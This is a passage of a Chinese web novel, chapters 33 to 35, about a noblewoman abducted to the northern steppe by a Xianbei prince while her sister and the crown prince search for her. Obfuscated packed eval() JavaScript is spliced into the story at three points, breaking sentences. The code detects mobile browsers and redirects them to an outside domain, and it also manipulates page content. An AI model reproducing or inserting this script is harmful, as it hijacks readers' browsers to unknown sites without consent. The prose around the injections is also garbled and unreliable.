距离漠北越来越近,这一带甚是荒芜。目光所触及的视野范围之内树木稀少,贫瘠的土壤裸露在外。再加上如今已渐入深秋,更添凄凉萧瑟之感。 “再往前一些,便是辽远的大漠。你生在中原,想来应该还未见过此番景色。”拓跋宇骑着马紧跟在林默语身侧,饶有趣味的看着她说道。 林默语淡淡的注视着前方,并不想搭话。此番景色,于她而言自然是新奇的。只是落于这种境地,任谁也无暇赏景。 见她不搭话,拓跋宇继续开口道:“你知道吗?我有时候真觉得你像个哑巴,或是聋子。不管我对你说些什么,你都没任何反应。” 林默语闻言终于开口了,极其淡漠的说道:“恐怕要让你失望了。很可惜,我并不是。” 听她终于开口,拓跋宇爽朗一笑,并不在意她口中说出的那些不甚好听的话,继续策马紧跟在她的身侧。 路途遥远,再加之心情如坠冰窖,林默语已难掩疲惫之态,脸色也愈加冷了几分。骑在马背之上,她只是冷冷的看着前方,像一个面无表情的傀儡。 拓跋宇虽是绑了她,却在她服软后对她有了几分讨好的意味。先前对待她时总是不免有些粗暴,如今却多了些细致,也没再强迫她做些什么。 但饶是如此,林默语对他依旧是恨之入骨。毕竟她很清楚,自己如今的境地是拜谁所赐,才不会因为他那虚与委蛇的好而动容半分。 队伍前进两天后,来到了人迹罕至的沙漠地带。这片大漠广袤无垠,亘古且神秘,壮丽却萧瑟。在秋日并不温暖的阳光下,闪烁着淡淡的光泽,浩瀚缥缈。 沙丘起伏不平,砾石遍布。骑马行走于这片苍凉的戈壁之上,抬眼看向前方时,只觉天地相接,宁静辽远,分不清哪里是天,哪里是地。 这是林默语第一次亲临于大漠的戈壁之上,从前这种场景她只在书中读到过。如今迎着漫天的沙尘,才对戈壁的苍凉与壮美有了实感。 一阵并不温和的风吹过,扬起了漫漫沙尘。林默语尚不能适应这里的气候,微微皱眉,用手掩住了口鼻。 正当她低头之时,却见一旁的拓跋宇递给她一条面纱。林默语垂首,并未搭理他。 拓跋宇见状,出乎意料的没有像前几日一般耐心的对她,而是略有些粗暴的策马凑近她,伸手一把将她从马上拽了下来,拥住她的腰将她揽到了自己马上。 仅在顷刻间,林默语就从一匹马到了另一匹马上。还未来得及心惊肉跳,她的腰就已被拓跋宇紧紧地禁锢住,动弹不得。 “你累了,与我同骑吧。”拓跋宇的声音近在耳边,颇有些戏谑的说道。 林默语此刻被拓跋宇拥在身前,还被他用双手环住了腰。她还从未被任何男子这样对待过,一时之间整个人都僵住了。 “你……你放手!”林默语奋力的挣扎着,拼命拉扯着拓跋宇环在她腰间的手。 拓跋宇却揽着她的腰,任凭她推搡而纹丝不动。 怀中的林默语却依旧不肯妥协,眼看着就要挣扎着跌下马背。拓跋宇终于忍受不住,抬起一只手一把抓住了她仍在奋力推搡的双手,另一只手则继续环在她的腰间。 “林二小姐是聪明人,应当明白此刻的境况于你是极其不利的。你也应该明白,你唯一的依仗就是我。”拓跋宇俯在她的耳边,笑意盈盈的说道:“我虽不忍心杀你,但我希望,你可以识趣一些。莫要蹬鼻子上脸。” 说着,他的另一只手还掐住了林默语的腰。 “可我永远都学不会低声下气软言软语,你莫不如,杀了我吧。” 林默语万念俱灰,放弃了挣扎,绝望的闭上了眼。拓跋宇放开了她那只垂下的手,挑起她的下巴,将她的脸侧转了过来。 “何必说的如此狠厉呢?我不过是想让你乖一点罢了。”拓跋宇用手指轻轻摩挲着她的下巴,随后抬手抚平了她紧蹙的眉头,轻笑道:“美人不必敛娥眉。” 拓跋宇的手常年拉弓射箭,以及修习各种武艺,指腹很是粗糙。粗糙的大手游离在林默语的脸上,令她很不舒服。林默语再次别开了脸。 这次拓跋宇却没有阻拦,而是拿出方才的面纱覆在了她的脸上,替她系好带子。 拓跋宇早已看出了林默语不甚适应这里的气候,与方才判若两人般柔声说道:“沙漠一带风沙很大,尘土飞扬,只恐你不适应。待到了鲜卑部落所在的草原,兴许会好一些。” 林默语的确不适应,再加之这一路的舟车劳顿,早已异常疲惫。她明白此刻就算自己继续挣扎也毫无意义,便也懒得和拓跋宇继续废话。仅是听他在耳边说着,沉默不言。 拓跋宇见她终于变乖了,满意的笑了笑。他察觉到怀抱之人浑身有些僵硬,猜想或许是她不适应被人这样抱着,便稍微移开了少许距离,但他的手依旧环在她的腰间。 队伍又再次静默了下来,仿佛什么都没有发生一般。唯有铁蹄踏在漫漫黄沙中的沉闷声响,一阵一阵,回响在寂静荒野。 队伍浩浩荡荡,继续向前进发前往漠北。 傍晚,林默言在书房中为父亲磨好了墨,坐在一旁支着下巴看父亲处理公务。 过了良久,林默言已开始打起盹来。意识逐渐模糊不清,在困顿之下身体开始有些不受控制,突然猛地向前栽倒。林默言猛然惊醒,用手扶住书桌才没有倒地。她慌忙的直起身来,重新调整好坐姿。 “言儿,若是困了就去休息吧。”林瞻远在一旁无奈的看着她道。 林默言伸手揉了揉自己的脸,迫使自己清醒了些,摇了摇头对父亲说道:“不用不用。爹爹,我还不困。” 林瞻远看着困的有些迷糊的女儿,无奈的叹了口气,将笔搁下稍作歇息。 林默言揉了揉眼睛,站起身来走向父亲,开始轻轻地给他捏着肩膀。 过了片刻,下人将煎好的药端了上来。 “我来吧。”林默言上前接过药,端着走向父亲。 林瞻远这几日总被女儿拉着灌各种药,他虽觉得自己的身体没有任何毛病,但面对着自己如此执拗的女儿,却也万般无奈。 看着女儿推到自己面前的药,林瞻远已联想到了它入口时是何种苦味,微不可查的皱了皱眉头。 “言儿费心了。只是爹爹身体康健,以后就不必煎药了。” “那怎么行呢?”林默言站在一旁,叉腰看着父亲,一副不亲眼看着他喝下去就不走的架势。 眼见推脱不掉,林瞻远只得妥协,端起碗来将碗中的药一饮而尽。 不出所料,这碗药苦的几近难以下咽。林瞻远却没说什么,放下碗后以一副云淡风轻之态继续面对着女儿。 但林默言其实早已看出来了,此刻正在内心偷偷憋笑着。 林瞻远轻咳一声,说道:“说起来,语儿前往幽州已有一段时间了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14712024|154528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。不知她何时回来?” 林默言赶紧敛了笑意,回答道:“前些天我已给语儿寄信了,原本这几天就应该有回信的,但并没有收到。兴许是语儿有什么事耽搁了吧。不过她确实逗留已久,我再催一催她。” “不知为何,这些天我总觉得心中有些不踏实……”林瞻远喃喃道:“不管怎样,先叫语儿回来吧,离家太久总归有些不放心。” “爹爹莫要太过忧心,肯定会没事的。”林默言安慰他道。但其实这些天里,她的心中也总是有些不祥的预感。 林瞻远点了点头,示意林默言自己已经把药喝完了,说道:“先不说这些了。天色已晚,言儿早些休息吧。” “好。那言儿就先退下了。”林默言笑着眨眨眼,拿走了父亲书桌上的空碗,随后退出书房关上了门。 是夜,秦初离开太子殿前往皇宫大殿准备议事。途径后花园时,突然想起自己已许久没有去看望过妹妹秦湘了。于是秦初便转了道,向着宜嫔所居的后宫走去。 秦湘此刻正坐在秋千上一边轻轻的晃着,一边呆呆的看着盈盈月色,旁边的石桌上还摆放着快要完工的刺绣。 正当她出神之时,身后突然有人上前来推了她一把,秋千瞬间高高荡起。秦湘一惊,紧紧抓住了秋千的两条绳索。但在秋千向后落下之时,那人又稳稳地接住了她,再次将秋千推向高处。 如此一来,秦湘立马猜想到是谁来了。她即刻便放松了紧绷着的心弦,笑意盈盈的回头道:“皇兄这个大忙人怎么想起来看我啦?” 在秋千下落时的回头一瞥间,秦湘看清了身后之人,不出所料正是秦初。 秦初继续不疾不徐的帮她推着秋千,温柔笑道:“近来事务繁忙,是皇兄疏忽了,湘儿莫怪。湘儿最近怎么样?身体好些了吗?” 秦湘坐在秋千上回头看向秦初,说道:“我的身体已无大碍,皇兄送来的药我有好好按时吃的,皇兄不必担心。” 秦初看见她回头,担心她坐不稳摔下来,柔声提醒道:“湘儿坐好,莫要顽皮,摔下来可怎么办?” 秦湘闻言乖乖转身扶稳秋千,嘴里却笑着说道:“我才不怕,有皇兄扶着呢。” “你呀。”秦初无奈的宠溺一笑。 秦湘被他这样精心细致的推着,丝丝凉风席面而来。秦湘微微昂起脸,看着眼前一起一伏的景色,突然间想起了数年之前,也曾有过这样的场景。 那时的她不受宠,还经常受到旁人的欺辱。后来有了太子殿下的照拂,她的生活才渐渐好了起来。太子殿下温柔细心,经常关照着她,还特意寻人为她医治顽疾。 记得有一次,秦初碰见她一个人坐在秋千上,便上前来为她推秋千。那时的秦湘还很是畏惧太子的威严,在秦初面前很是拘 谨。一想到金枝玉叶的太子殿下正为她推着秋千,就异常惶恐和紧张,一时不慎竟险些摔下秋千。 正当秦湘惊慌之时,秦初却利落地出手,稳稳扶住了她。秦湘没有摔到地上,而那秋千却砸在了秦初身上。秦湘瞬间惊慌失措,慌忙道歉。秦初却对着她温柔一笑,丝毫没有生气,反倒更加在意她的状况。 从那时起,秦湘就知道,这个人一定会是她一辈子的大恩人。 荡了片刻后,秦湘从秋千上走了下来。她知道皇兄很忙,此程肯定还要去朝中处理事务。 秦初解下自己的披风披到秦湘肩上,摸了摸她的头,叮嘱道:“天气渐凉,湘儿在外面待一会儿后就回去吧,以免着凉。皇兄还有些事务要处理,日后再来看你。” “嗯。”秦湘笑着点点头,目送着秦初离开。 33. 第 33 章 离开秦湘后,秦初继续前往大殿同父皇议事。近来黎国已决意出征漠北,此刻西启的立场便显得尤为重要。 白天在朝堂之上时,文武百官对此争论不休。互相推搡,各有立场,也没议出个所以然来。 如今多数人都是持着“置身事外,独善其身”的立场。但也有大将军李益一派的人主张跟进开战。 秦初主张与黎国建交,但战争一事也终非小事,关于是否援助黎国,秦初一时也没有做好打算。他未曾料到黎国会选择如此早的时间点开战,贸然跟进,只恐不妥。 “此事不必再议了。无论如何,只要战火一天没有烧到西启,朕是不会同意出兵的。”秦建忠的态度倒是很坚决,不想直接与漠北戳破脸面。 秦初恭敬道:“儿臣明白,父皇所说不无道理。但依儿臣来看,此事关乎千秋万代,须得做长远打算。若是黎国真被蛮夷之族攻破,于西启而言定会不利。” 秦建忠皱了皱眉,扶额说道:“那太子以为,此事应当如何处理呢?” “儿臣认为,需先观察局势,随时做好援助的准备。我们不必急着出兵,且先坐观他们二国争斗。若黎国大败,我们可助其守住边界。若黎国大捷,亦可出兵乘胜追击。如此一来,即可做到损失最小化。”秦初说道。 秦初是未来的国君,一切抉择皆是为西启做打算。哪怕领兵之人是挚友江晏,他也不会贸然跟进援助。而是要权衡利弊,在援助他的同时维护西启的利益,一切以家国百姓为重。 “依太子所言,你是定要出兵不可吗?”秦建忠凝眉望向他。 秦初拱手道:“儿臣正是此意。漠北蛮夷之族历来对西启的威胁甚重,儿臣想要借黎国之手以永绝后患。” 秦建忠蹙着眉头看向他,沉默不语。 秦初预感到他定不会轻易松口,但还是硬着头皮继续说道:“父皇,届时儿臣将请命与李将军一同出征,以确保更加万无一失。还请父皇早日做出决断。” “此事还需再议,你且先退下吧。”秦建忠扶额闭上眼,毫无耐心的说道。 听到万年不变的“再议”结果,秦初虽还想据理力争,却也知道父皇此刻的耐心早已消耗殆尽。秦初犹豫片刻,只得依言退下。 秦初走后,空荡荡的大殿上唯余秦建忠一人。秦建忠按下暴怒的心绪扼腕叹息,他又何尝不想做一个杀伐果断的帝王呢? 只是如今朝中的局势进退两难,所有人都在逼他。秦初和大将军李益一派逼他开战,国师容玦一派逼他袖手旁观。无论偏袒哪一方势力,都会有不利的一面。对于此事,他也只能一拖再拖。 秦建忠握紧了手中的奏章,人人都在逼他,他已濒临崩溃的边缘。现如今林瞻远对此事还尚未表态,待林瞻远阐明立场后,他又将会是进退两难的境地。 烛火摇晃,夜色静默。秦建忠无心就寝,端坐于大殿之上,直至夜色晕染开来。 皇恩浩荡,龙子出征。黎国内,江晏已整装待发,穿戴好盔甲后,准备号令士兵出征前往漠北。 徐老将军在清点完军队人员之后,与江晏一同前往皇宫领旨并完成出征前的最后仪式。 临行之前,徐亦然前来拜别父亲,她的身旁还站着许久未见的徐家长女徐亦涵。 看着前来送他的两个女儿,徐老将军仅是微微颔首点了点头,神色淡然道:“为父征战半生,也不是第一次出征了。亦涵亦然就如同往日一般,不必太过忧心。送到此处后,就回去吧。” 徐亦然上前左手挽着父亲,右手挽住江晏,撇撇嘴道:“话虽这样说,但战场终归凶险,爹爹还不允许女儿担心了?” 说完之后,徐亦然又转向江晏,对他说道:“江晏哥哥,你可千万要保重啊。” 江晏挑眉一笑道:“放心啦,一定会平安归来的。” 徐亦然还想说些什么,徐亦涵上前一步将她从两人身上拉了下来,责备她道:“亦然,你都多大的人了还如此不稳重。” 徐亦涵到底是长姐,且已嫁于二皇子江洵为妃,更加成熟稳重一些。徐亦然被她拉过去后,乖乖闭嘴站在了她的身旁。 徐亦涵对着父亲说了几句问安话,随后对江晏说道:“阿晏,愿你此程顺利,凯旋而归。景浩也要劳烦你多多关照了。你二哥他近来不在京中,我代他向你问安了。” 江晏说道:“劳烦二哥二嫂挂念了,江晏定不辱使命。” 时辰紧迫,几人简单说了几句后,江晏和徐老将军便前往皇宫。 晨光初破,宫城之上云雾缭绕。巍峨皇城之内,一片庄肃。 宫门缓缓开启,大军整齐排列于内。江晏和徐老将军一前一后走进宫门,战鼓声响起,铿锵有力,激昂壮阔。鼓点有节奏的跃动着,如同将士们同仇敌忾的心跳,满载着对胜利的渴望。 皇帝身着龙袍,端坐于高处的龙椅之上,看着前方徐徐走来的儿子和臣子。在他的身旁,宸妃也一脸担忧的看着江晏。 江晏身披铠甲,英姿飒爽,手中紧握剑柄,目光坚毅的跪在父皇母妃面前,高声道:“儿臣定当不负皇恩,誓死保卫国土,凯旋而归!” 他的声音铿锵有力,回荡于宫城之上,牵动着每一位将士的豪情。 江晏为此次出征的主帅,在他立誓完毕后,徐老将军上前跪拜,誓言铿锵:“臣定不辱使命,协助八皇子征战沙场,击退蛮族!” 皇帝缓缓起身走下台阶,亲手扶起了江晏和徐老将军。他轻抚江晏的盔甲,语重心长道:“此行凶险,务必小心。家国天下,重任在肩,朕等着你凯旋的消息。” 宸妃随着皇帝一起走了下来,眼中悲痛一闪而逝,握了握江晏的手。 江晏向他们二人点头示意,露出不羁一笑。 时辰已到,无需再多言。江晏转身,举起长剑,对着浩浩荡荡的大军高呼道:“众将士,随我出征!” 旌旗招展,大军启程。江晏转身跃上战马,勒马前行。战马嘶鸣,铁蹄扬起细细尘土。江晏行于军队之前,身后是千军万马。 大军浩浩荡荡启程,渐行渐远。宸妃遥遥眺望着,目送军队前行,却已看不到江晏的身影。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14726496|154528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“爱妃,回去吧。”皇帝牵起她的手轻轻拍了拍以示安慰。 “嗯。”宸妃点点头,随皇帝一起走回宫内。 路途遥远,大军向着祁连山进发,一路的损耗也甚大。黎国先前已派人先行运送粮草前往前线,由徐老将军之子徐景浩和裴副将负责把守。 “不知景浩可有把前线各项事宜安排妥当。”一路上,徐老将军颇有些担心的对着江晏说道。 江晏却并不担心,对他说道:“景浩身手不俗且熟读兵法,对于军队的各项管理也较为精通。况且虎父无犬子,将军不必忧心,应当对自己的儿子自信一些。” 听到江晏夸奖自己的儿子,徐老将军豪迈一笑道:“多谢八皇子对犬子的欣赏与栽培,希望他能够不负众望吧。” 铁蹄踏在荒野之上,长路漫漫,行进之间,徐老将军突然又想起一事,问道:“殿下此前出使西启,他们可有答应出兵援助?” 江晏如实道:“此事恐怕还不好说,西启国君于此态度朦胧。但若遇险境,我们可以试着向西启求援。” 徐老将军明白战争乃国之大事,对此也没再多说什么。 连续前进几日后,江晏下令暂时驻军修整一夜,养精蓄锐后继续前行。 林默言在林府等待几日都没有等到语儿的回信,语儿并不是如此粗心之人,怎可能会忘记回复她?林默言此刻越发觉得不对 劲,心中的那份不祥之感越来越重。 林默语现在已处于一个杳无音信的状态,林默言非常担心,决定前去寻找查探一番。在给父亲留下告知信件后,林默言决定亲自前往幽州看看。 这一路上快马加鞭,林默言丝毫不敢停歇,仅用了以往一半的时间便赶到了幽州。此刻她也顾不上劳累,马不停蹄的赶往顾家旧址。 来到顾家旧址后,迎接她的却只有负责看管和打扫这里的管家和几位仆人,并未见到妹妹的身影。 林默言即刻便慌了神,抓住管家问道:“周管家,你有看到语儿吗?她现在在哪里?” 周管家看到风尘仆仆的林默言,听她如此发问,摇了摇头有些不解道:“您是大小姐吧,是来寻找二小姐的吗?可小的们一直守在这里,并未见到她来过。” 听到此话,林默言瞬间呆住了。语儿离家已有一个多月,竟还未到过顾家,那过了这么久,她又去了哪里? 林默言来不及再与周管家多说,匆匆告别后前往驿站查看她寄来的信。她虽然已经预想到了结果,心中却还是不愿接受,一定要亲眼去看看才罢休。 来到驿站后,她寄出的信不出所料的没有被接收,那就说明语儿根本就没有到达幽州。那就只能说明一种结果,语儿定是在途中出事了。 林默言瞬间慌乱不堪,拿着信件的手开始微微发抖。她强迫着自己尽快冷静下来,却还是压不住因为担心而愈加狂乱的心跳。 此刻多想无益,当务之急是赶紧找到语儿。林默言赶紧调派幽州的人手在附近开始调查,然后自己不顾疲惫再次返回洛阳将语儿失踪的消息告知父亲和秦初。 34. 第 34 章 行进距西启足有千里的路程后,拓跋宇一行人终于抵达了漠北。此时林默语离家已有一个多月时间,看着广阔无垠,望不到边际的原野,林默语的心如坠冰窖。 此地她从未来过,若要她独自行于大漠和草原之中,极容易迷失方向。林默语知道,若仅凭她一人,她肯定是走不出去的。 漠北一带气候较为寒冷,此时又恰逢深秋且快要入冬,对于林默语这种第一次来这里的人而言,甚至可以称得上恶劣。 他们抵达之日,天空中已飘起了星星点点的雪花。绵延无尽的雪山之上,积雪终年不化。群山之巅似有雾气萦绕,远远看着,如梦似幻。 西启在这个季节是不会下雪的,林默语思绪万千,抬起手接住了几片缓缓飘落的雪花。刚一接触手掌,那圣洁的雪白色便融为了水,无痕消散。 拓跋宇走上前,握住了她伸出去的那只手,紧紧牵着她说道:“改日再来赏雪,现在先回去吧,漠北下雪的次数很多,不急于这一时。” 拓跋宇说着便握住她的手走向前方的营帐,原以为她会挣扎一番,但林默语却如同一个牵线傀儡般,没有任何表示。他一拽,就跟着走了。 “这是今年的第一场初雪,没想到我们竟赶上了。”拓跋宇故作淡然的说道。 不出所料的,林默语依旧没有任何反应。 这段时间里,对于林默语,他什么手段都采用过了,可谓是软硬兼施。但林默语却对他一直都是这般态度,虽说是被逼顺从,却也从来不会对他表现出什么鲜明的情绪。 拓跋宇想看见她的笑容,那更是痴心妄想。但越是这样,拓跋宇越想要征服她。他要将她困在身边,总有一天,会有所改变的。 拓跋宇不再说话,就这样拽着她,一步一步走向自己的营帐。 前方平坦的原野中,分散着大大小小的穹庐。林默语曾在一些书上了解过漠北地区各部落的民风民俗。漠北的气候干燥寒冷,这样的住宅有利于保暖,其便于拆卸的特点也更加有利于于北方游牧民族的游牧生活。 当初读到这些内容时,她更多的是好奇。但此刻真的亲眼见到了,却一眼也不想多看,一秒都不想多停留。 刚一入内,一股热气迎面而来,竟是出乎意料的暖,席卷了二人身上的风霜。 里面的空间十分宽阔,地面上整齐铺满了柔软的毛毡毯。其中的陈设并不多,不显杂乱,排列较为整齐。地面的正中央摆放着一个火盆,此时正烧着炭火。 前方挂着精致的帷幔,帷幔上是麋鹿的图案。在几片帷幔的环绕之中,则是一个木制的床具,床上铺展着一张巨大的灰色兽皮,看起来似乎是一头巨狼。 拓跋宇将她按在那兽皮上坐下,扶着她的肩膀对她说道:“此后,你就住在这里吧。其余的一切,我会为你安排好的。只要你乖乖听话。” 林默语刻意躲开他的眼神转而望向前方,这才注意到前方的墙壁上挂着许多兽头,其中就有一个很大的狼首。 拓跋宇注意到了她的视线,发现她是在看自己身后的那个狼首后,挑眉一笑,颇有些自豪的对她说道:“你对这个感兴趣?这个是草原上的头狼,鲜卑第一勇士深入狼群猎杀而来的。那位第一勇士,也就是我。” 拓跋宇也没指望她会有什么反应,反正只要说给她听便默认为她听进去了。 “感兴趣的话,改日我可以带你体验一下打猎。此程路途遥远,想来你也应该累了。先休息吧,我命人为你准备些吃的。”拓跋宇低头,俯身将她整个人抱到了兽皮之上,随后转身离开了营帐。 林默语坐在这兽皮之上,抬手摘下了面纱。方才在室外一直冻着,四肢略有些发麻。在这温暖的穹庐中待了一会儿后,稍稍缓过一些劲来。 林默语起身走下床,开始打量着这里的陈设。待她掀起门帘想从这里走出去看看时,左右两旁的侍从提刀拦住了她的去路。 林默语淡然的瞧了一眼,重新走了进去。 “禀大单于,大王子从中原带回来了一个女人,那女人身上还穿着王妃的遗物。方才大王子将她带了过去,此刻她应该在大王子的营帐中。”王帐内,呼延沧莫跪在大单于身前,向他禀报着拓跋宇的动向。 拓跋涛暗自皱眉,说道:“怪不得他刚回来不是先来面见本王,原来是被一个女人绊住了手脚。” 两人说话间,拓跋宇昂首阔步从王帐外走了进来。拓跋涛向呼延沧莫使了个眼色,呼延沧莫转身退了出去。 拓跋宇淡淡的瞧了呼延沧莫一眼,随后收回目光,懒懒的对着王座之上的人行礼道:“拜见父王。” 拓跋涛皱着眉头,问道:“听说你从中原带回来了一个女人。说吧,这次又惹了什么麻烦?” “不过是顺道从西启带回来了一个玩物而已,父王不必忧心。”拓跋宇漫不经心道。 拓跋涛的脸色愈发凝重,继续问道:“姗颖的衣服,你拿给她穿了?” 听到此话,拓跋宇却是瞬间变了脸色,面现嘲讽之意,丝毫不留情面的对眼前高居王座之人说道:“那是我母亲的衣服,我不能随意处置吗?再说了,对于她,您又有什么资格过问呢?” “混账!”拓跋涛怒拍桌面,大声训斥道:“你竟敢以下犯上,口出狂言!” 拓跋宇讽刺一笑道:“儿臣混账也不止这一回了。父王,您还是先消消气吧,儿臣恕不奉陪。” 拓跋宇不想再听他说话,直接转身走出了营帐,将他紧随其后的怒骂抛在了身后。 此时他的心中烦闷不堪,踌躇片刻后,拓跋宇来到林默语所在的营帐前,掀开帘子走了进去。 林默语此刻正木然的坐在床边,见到他来,脸上也没有别的表情。 “随我出去赛马吧。”拓跋宇说道。 也不管她同不同意,拓跋宇牵起她就向外走。令他意想不到的是,林默语竟对他开口说话了。 “我还以为,你要永远将我困在这一方穹庐之中呢。”林默语开口,声音清冷,听不出多少情绪。但终于听到她开口,拓跋宇还是喜出望外。 “你是在怨我不让你出来吗?抱歉,是我疏忽了,忘记告诉他们不必阻拦你。”拓跋宇看向她说道。 拓跋宇之所以敢说这样的话,是因为他自己也很清楚,仅凭林默语一人,她是绝对走不出去的。哪怕她真的跑了,对这里的一切也并没有他们那么熟悉,他依旧可以把她抓回来。 况且林默语也一定能想到这一点,她肯定知道这样是得不偿失的。所以让她出来四处走一走,也不是不可以。只要她不离开部落的范围之内。 拓跋宇带着她来到马场,牵给她一匹通体雪白的宝马,自己则是挑了一匹黑鬃。调整好马缰后,对她说道:“林二小姐身手不俗,骑马定是会的吧?今日不如放开手脚,与我比试一番。驰骋于草原之上,也好让你见识一下漠北儿郎的豪情。” 拓跋宇其实捏不准她会不会答应,但出乎意料的是,林默语竟主动跨上了那匹马,想来是答应了。 拓跋宇也随即翻身上马,朝她笑道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14766009|154528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“请吧,林二小姐。” 林默语没有说话,调整好之后,策马向着前方广袤无垠的草场冲去。拓跋宇紧随其后策马,紧紧跟在她的身后,却始终控制着与她拉开了几步距离。 两人就这样驰骋在广阔的原野。此刻林默言穿的正是那件拓跋宇给她的衣服,鲜明的红色跃动在他的眼前。 绕了草场一圈后,林默语率先到达了两人出发的地方。林默语勒马,跳下了马背。 拓跋宇也下了马,站在她的身侧,对她笑道:“林二小姐果真厉害。是你赢了,你不开心吗?为何不笑一笑?” 林默语淡然道:“你也不必如此让着我。”她又不是傻子,自然能够看出拓跋宇是在刻意让着她的。 现在只要能够听到林默语对他说话,拓跋宇就很有成就感。毕竟林默语一直都是沉默寡言惜字如金,这么久了对他说过的话 也不过寥寥几句。拓跋宇想着,自己以后一定会让她说出的话越来越多。 拓跋宇对她挑眉一笑道:“何必如此较真呢?我不过是想让你开心一点。况且林二小姐确实厉害,我不过是说了实话。” 看着林默语依旧淡漠的神情,拓跋宇突然觉得“林二小姐”这个称呼也有点生疏了。他既是抢她来做自己未来的王妃,那就应该叫的亲密一些。 这样一想,拓跋宇打量了她一番,开口说道:“在西启时,我听他们都叫你语儿。那么我以后也这样称呼你吧。” 拓跋宇虽是这样问了,却也不是真的在询问她。毕竟不管她答不答应,他以后都这样叫定了。 林默语不想理他,转身牵着马准备走回马场。 霎时寒光闪过,林默语一惊。正待躲闪之时,拓跋宇先一步出了手,在半空中劫下了朝着林默语飞来的一片飞刀。 那飞刀甚是锋利,拓跋宇硬生生徒手接住了,此刻他的手上已是鲜血直流。 但此刻他却没有管自己正在流血的手,而是怒目看向前方,大喝了一句:“呼延明婉,你给我滚出来!” 林默语看向前方,只见马场后面盈盈走来了一位少女,穿着鲜卑族的服饰,珠光宝气却不显俗气。眉眼深邃,鼻梁英挺,独特的碧色眼眸中却满是愤怒。她撇了撇嘴,生气的质问拓跋宇道:“这就是你从中原带回来的那个女人?我看她也不过如……” 她一边说话一边将目光移向林默语,可在看清林默语的样貌后,她的那句“不过如此”却无论如何也不能违心的说出口。中原人与鲜卑人长相虽有差异,审美也各有不同,但她却也不得不承认,眼前的这个女子,确实长得非常好看,堪称国色。 “与你有什么干系?”拓跋宇此刻却是怒了,将林默语护在身后,冷冷的说道。 那少女更生气了,蹙着眉头说道:“你竟然为了她这样和我说话。” 漠北在许多年前便开始推行汉化政策,所以许多人都会讲汉族语言。但这句话是故意用鲜卑语说的,林默语听不懂。 “那又如何?”拓跋宇也用鲜卑语说道:“我警告你,最好不要碰她,否则别怪我不客气。” “你怎么可以这样对我?!”那少女愤愤道。 林默语听着他们口中这些听不懂的语言只觉得头疼,她也不想管他们在说什么,转身准备离开回到营帐。 拓跋宇拉住了她,用鲜卑语对那少女说了一句:“我可从来没有向你承诺过什么,你也不必痴心妄想。” 说完之后,拓跋宇牵着林默语离开马场向营帐走去,将那少女甩在身后。 35. 第 35 章 林默言日夜兼程,丝毫不敢停歇,仅用了几天的时间便返回了洛阳。到达洛阳时,她已经好几天没有合过眼了。但此刻她的那根弦依旧紧绷着,丝毫不敢松懈。 她先是马不停蹄回到林府准备将这件事先告知给父亲,但不幸的是,父亲此刻并不在林府,应该还在朝中。 林默言异常无力,调派了一些人手前去沿途之地调查。她现在只能先去太子殿碰碰运气看秦初在不在。 到达太子殿后,秦初正准备赶往朝中。看到风尘仆仆满是倦容的林默言,秦初愣了片刻,随即赶紧上前一把扶住了她,因为此刻的她看着似乎摇摇欲坠。 林默言素来都是明媚的,优雅得体的。但此刻的她却是红肿着眼睛,周身满是凌乱之态,也毫无半点从容。秦初很少见到林默言如此狼狈的模样,知道一定是出了什么不得了的大事。 “言儿,你先别急。有什么事可以跟我讲,莫慌,我定会帮你的。”秦初说着,准备带她前往殿内详谈。 但此刻林默言却已顾不了那么多了,她慌乱的抓住秦初,对他说道:“秦初,语儿她不见了!我找不到她了……” 秦初听到林默语的话瞬间愣住,仅几句话的功夫,他方才的从容之态便也消失的无影无踪。秦初反手握住林默言的胳膊,不可置信道:“你说什么?语儿她不是去幽州了吗?怎么会突然不见?” 他一时慌乱之下没有控制住手上的力道,看到眼前的林默言微微皱眉脸现痛苦之色,这才惊觉自己方才竟抓住了她的胳膊。 秦初慌忙松开了手,安抚她同时也在安抚自己道:“抱歉,我一时也有点慌乱了。言儿莫急,细细说来我好调查。” 林默言此刻也没有闲心顾忌自己被他抓疼了,努力的平复着心情使自己没有那么语无伦次,说道:“我前段时间寄给语儿的信件一直没有收到回信,我就自己前往幽州去接她了。可管家说语儿根本就没有到过顾宅,我寄过去的信她也没有接收到。我在幽州几乎都找遍了,可我还是没有找到她……” 秦初从她的只言片语中提取出了关键信息,错愕道:“也就是说,语儿她根本就没有到达幽州,她是在沿途出事了?” 林默言点了点头,说道:“我方才已派了些人手前去调查了。现在爹爹不在府中,我只能来找你。” 得知了林默语失踪的消息后,秦初已无法再淡定下去。他现在只想竭尽所能的前去寻找语儿,对林默言说道:“我知道了,言儿放心。我现在就去加派人手,哪怕翻遍整个西启,我也一定会把她找出来的。” 